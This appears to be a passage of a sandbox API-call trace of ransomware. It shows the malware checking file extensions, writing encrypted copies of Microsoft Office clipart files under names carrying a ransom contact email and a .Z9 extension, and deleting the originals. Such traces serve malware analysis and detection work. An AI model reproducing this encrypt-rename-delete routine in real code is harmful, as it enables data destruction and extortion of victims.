	[0083.119] lstrlenW (lpString=".pdf") returned 4
	[0083.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString=".xls") returned 4
	[0083.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.119] lstrlenW (lpString=".xlsx") returned 5
	[0083.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.119] lstrlenW (lpString=".ppt") returned 4
	[0083.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.119] lstrlenW (lpString=".zip") returned 4
	[0083.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.119] lstrlenW (lpString=".rar") returned 4
	[0083.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.120] lstrlenW (lpString=".bz2") returned 4
	[0083.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.120] lstrlenW (lpString=".7z") returned 3
	[0083.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.120] lstrlenW (lpString=".dbf") returned 4
	[0083.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.120] lstrlenW (lpString=".1cd") returned 4
	[0083.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.120] lstrlenW (lpString=".jpg") returned 4
	[0083.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.120] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.120] lstrlenW (lpString="AN04269_.WMF") returned 12
	[0083.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.120] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2016) returned 1
	[0083.120] CloseHandle (hObject=0x38c) returned 1
	[0083.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220
	[0083.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.121] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.121] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.121] GetLastError () returned 0x0
	[0083.121] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x7e0, lpOverlapped=0x0) returned 1
	[0083.123] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0083.124] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.124] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.124] SetEndOfFile (hFile=0x394) returned 1
	[0083.124] CloseHandle (hObject=0x394) returned 1
	[0083.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.125] SetEndOfFile (hFile=0x38c) returned 1
	[0083.126] CloseHandle (hObject=0x38c) returned 1
	[0083.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1
	[0083.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.126] lstrlenW (lpString=".doc") returned 4
	[0083.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.126] lstrlenW (lpString=".docx") returned 5
	[0083.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.126] lstrlenW (lpString=".pdf") returned 4
	[0083.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.126] lstrlenW (lpString=".xls") returned 4
	[0083.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.127] lstrlenW (lpString=".xlsx") returned 5
	[0083.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.127] lstrlenW (lpString=".ppt") returned 4
	[0083.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.127] lstrlenW (lpString=".zip") returned 4
	[0083.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.127] lstrlenW (lpString=".rar") returned 4
	[0083.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString=".bz2") returned 4
	[0083.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString=".7z") returned 3
	[0083.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.127] lstrlenW (lpString=".dbf") returned 4
	[0083.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.127] lstrlenW (lpString=".1cd") returned 4
	[0083.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.127] lstrlenW (lpString=".jpg") returned 4
	[0083.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.127] lstrlenW (lpString=".doc") returned 4
	[0083.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString=".docx") returned 5
	[0083.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.127] lstrlenW (lpString=".pdf") returned 4
	[0083.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.127] lstrlenW (lpString=".xls") returned 4
	[0083.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.128] lstrlenW (lpString=".xlsx") returned 5
	[0083.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.128] lstrlenW (lpString=".ppt") returned 4
	[0083.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.128] lstrlenW (lpString=".zip") returned 4
	[0083.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.128] lstrlenW (lpString=".rar") returned 4
	[0083.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.128] lstrlenW (lpString=".bz2") returned 4
	[0083.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.128] lstrlenW (lpString=".7z") returned 3
	[0083.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.128] lstrlenW (lpString=".dbf") returned 4
	[0083.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.128] lstrlenW (lpString=".1cd") returned 4
	[0083.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0083.128] lstrlenW (lpString=".jpg") returned 4
	[0083.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.128] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.128] lstrlenW (lpString="AN04323_.WMF") returned 12
	[0083.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.129] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2492) returned 1
	[0083.129] CloseHandle (hObject=0x38c) returned 1
	[0083.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220
	[0083.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.129] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.129] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.130] GetLastError () returned 0x0
	[0083.130] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x9bc, lpOverlapped=0x0) returned 1
	[0083.131] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0083.132] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.132] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.132] SetEndOfFile (hFile=0x394) returned 1
	[0083.132] CloseHandle (hObject=0x394) returned 1
	[0083.133] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.133] SetEndOfFile (hFile=0x38c) returned 1
	[0083.134] CloseHandle (hObject=0x38c) returned 1
	[0083.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1
	[0083.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString=".doc") returned 4
	[0083.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString=".docx") returned 5
	[0083.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.135] lstrlenW (lpString=".pdf") returned 4
	[0083.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString=".xls") returned 4
	[0083.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.135] lstrlenW (lpString=".xlsx") returned 5
	[0083.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.135] lstrlenW (lpString=".ppt") returned 4
	[0083.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString=".zip") returned 4
	[0083.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.135] lstrlenW (lpString=".rar") returned 4
	[0083.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString=".bz2") returned 4
	[0083.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString=".7z") returned 3
	[0083.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString=".dbf") returned 4
	[0083.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString=".1cd") returned 4
	[0083.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString=".jpg") returned 4
	[0083.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.135] lstrlenW (lpString=".doc") returned 4
	[0083.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.135] lstrlenW (lpString=".docx") returned 5
	[0083.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.136] lstrlenW (lpString=".pdf") returned 4
	[0083.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.136] lstrlenW (lpString=".xls") returned 4
	[0083.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.136] lstrlenW (lpString=".xlsx") returned 5
	[0083.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.136] lstrlenW (lpString=".ppt") returned 4
	[0083.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.136] lstrlenW (lpString=".zip") returned 4
	[0083.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.136] lstrlenW (lpString=".rar") returned 4
	[0083.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.136] lstrlenW (lpString=".bz2") returned 4
	[0083.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.136] lstrlenW (lpString=".7z") returned 3
	[0083.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.136] lstrlenW (lpString=".dbf") returned 4
	[0083.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.136] lstrlenW (lpString=".1cd") returned 4
	[0083.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0083.136] lstrlenW (lpString=".jpg") returned 4
	[0083.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.136] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.136] lstrlenW (lpString="AN04326_.WMF") returned 12
	[0083.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.137] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3348) returned 1
	[0083.137] CloseHandle (hObject=0x38c) returned 1
	[0083.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220
	[0083.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.137] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.137] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.137] GetLastError () returned 0x0
	[0083.137] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xd14, lpOverlapped=0x0) returned 1
	[0083.631] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0083.632] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.632] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.632] SetEndOfFile (hFile=0x394) returned 1
	[0084.045] CloseHandle (hObject=0x394) returned 1
	[0084.071] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.071] SetEndOfFile (hFile=0x38c) returned 1
	[0084.072] CloseHandle (hObject=0x38c) returned 1
	[0084.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1
	[0084.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.073] lstrlenW (lpString=".doc") returned 4
	[0084.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.073] lstrlenW (lpString=".docx") returned 5
	[0084.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.073] lstrlenW (lpString=".pdf") returned 4
	[0084.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.073] lstrlenW (lpString=".xls") returned 4
	[0084.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.073] lstrlenW (lpString=".xlsx") returned 5
	[0084.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.073] lstrlenW (lpString=".ppt") returned 4
	[0084.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.073] lstrlenW (lpString=".zip") returned 4
	[0084.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.073] lstrlenW (lpString=".rar") returned 4
	[0084.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.073] lstrlenW (lpString=".bz2") returned 4
	[0084.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.073] lstrlenW (lpString=".7z") returned 3
	[0084.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.074] lstrlenW (lpString=".dbf") returned 4
	[0084.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.074] lstrlenW (lpString=".1cd") returned 4
	[0084.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.074] lstrlenW (lpString=".jpg") returned 4
	[0084.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.074] lstrlenW (lpString=".doc") returned 4
	[0084.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.074] lstrlenW (lpString=".docx") returned 5
